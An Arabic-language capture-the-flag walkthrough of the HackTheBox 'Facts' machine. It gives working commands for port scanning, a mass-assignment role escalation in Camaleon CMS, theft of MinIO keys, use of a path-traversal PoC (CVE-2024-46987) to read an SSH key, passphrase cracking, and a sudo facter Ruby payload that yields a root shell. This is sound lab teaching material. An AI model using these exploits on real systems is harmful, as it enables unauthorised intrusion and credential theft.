
HTB Facts هو صندوق Linux سهل المستوى يضم Camaleon CMS و MinIO. احصل على وصول المسؤول عبر التسجيل المفتوح وثغرة التعيين الجماعي، ثم استخرج بيانات اعتماد MinIO من إعدادات المسؤول. استخدم ثغرة اجتياز المسار CVE-2024-46987 لسرقة مفتاح SSH الخاص، واقتحام عبارة المرور الخاصة به، والتصعيد إلى صلاحيات الجذر عبر استغلال صلاحيات sudo على facter باستخدام GTFOBins.
نظام التشغيل: Linux
الوسوم: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation
ابدأ بفحص كامل لمنافذ TCP لتحديد الخدمات المفتوحة.
nmap -p- --min-rate 5000 -T4 10.129.244.96
النتائج:
| المنفذ | الخدمة | ملاحظات |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | غير معروف | تم تحديده كـ MinIO |
أضف الهدف إلى /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
عند تصفح http://facts.htb يظهر موقع trivia مبني على Camaleon CMS (Ruby on Rails). المؤشرات الرئيسية:
_factsapp_session (جلسة Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)عدّد خريطة الموقع لجميع الصفحات المتاحة:
curl -s http://facts.htb/sitemap.xml
المسارات البارزة المكتشفة:
/admin → يعيد التوجيه إلى /admin/login/rss/animal-ejected، /anne-frank، إلخ.تحقق من لوحة تسجيل دخول المدير:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
يُظهر فحص المنفذ غير المعروف باستخدام curl وجود MinIO، وهي خدمة تخزين كائنات متوافقة مع S3:
curl -v http://facts.htb:54321
الاستجابة:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
تؤكد الترويسات: Server: MinIO
افحص أسماء الحاويات المحتملة (استجابة 403 وحدها لا تؤكد وجود حاوية):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
جميعها تُرجع 403 Forbidden — الحاويات موجودة لكنها تتطلب بيانات اعتماد.
من مسارات الأصول وكوكي الجلسة، تم تحديد نظام إدارة المحتوى كـ Camaleon CMS.
تحقق من الثغرات المعروفة:
searchsploit camaleon
النتائج:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
تم تأكيد إصدار لوحة الإدارة كـ 2.9.0 (ظاهر في التذييل بعد تسجيل الدخول).
تتضمن صفحة تسجيل دخول المدير على http://facts.htb/admin/login رابط "Create an account". سجّل حسابًا جديدًا:
http://facts.htb/admin/users/sign_uptest123 / test123)Clientبعد التسجيل، سجّل الدخول إلى لوحة تحكم المدير. يمتلك الحساب صلاحيات Client محدودة.
Camaleon CMS عرضة لهجوم الإسناد الجماعي على نقطة نهاية تغيير كلمة المرور. من خلال اعتراض طلب تغيير كلمة المرور وحقن معامل password[role]، يمكن للمهاجم تصعيد دوره الخاص إلى admin.
الخطوات باستخدام Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin إلى جسم الطلب:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.يمتلك الحساب الآن صلاحيات admin، مما يمنح وصولًا كاملًا إلى لوحة إدارة CMS بما في ذلك Settings وMedia وFilesystem Settings.
مع الوصول الإداري، انتقل إلى:
Settings → General Site → Filesystem Settings
تكشف الصفحة عن بيانات اعتماد MinIO (المتوافقة مع AWS S3) المضمّنة:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
اضبط AWS CLI وعدّد الحاويات:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
الحاويات المكتشفة:
2025-09-11 internal
2025-09-11 randomfacts
تحتوي حاوية internal على الدليل الرئيسي للمستخدم trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
بدلاً من ذلك، يمكن استرداد مفتاح SSH الخاص عبر CVE-2024-46987، وهي ثغرة اجتياز مسار موثّقة في Camaleon CMS تسمح بقراءة ملفات الخادم التعسفية.
استنسخ PoC العام:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
اقرأ الملفات الحساسة:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
المخرجات (الأسطر ذات الصلة):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
تم تحديد مستخدمين: trivia وwilliam. بما أن trivia لديه shell تسجيل دخول ودليل رئيسي، تحقق من وجود مفتاح SSH خاص:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
احفظ مخرجات المفتاح في ملف:
chmod 600 id_ed25519
مفتاح SSH الخاص مشفّر بعبارة مرور. استخدم ssh2john وjohn لكسرها:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
عبارة المرور المكسورة: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
استرجع علم المستخدم:
cat /home/william/user.txt
تحقق من صلاحيات sudo للمستخدم trivia:
sudo -l
المخرجات:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
يمكن للمستخدم تشغيل /usr/bin/facter كـ root بدون كلمة مرور. facter هي أداة معلومات نظام مبنية على Ruby.
وفقًا لـ GTFOBins، يمكن لـ facter تحميل ملفات fact مخصصة لـ Ruby عبر --custom-dir، والتي تُنفّذ بصلاحيات المستخدم المستدعي (root في هذه الحالة).
الاستغلال:
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Spawn root shell
/bin/bash -p
whoami
# root
cat /root/root.txt
| العلم | الموقع |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |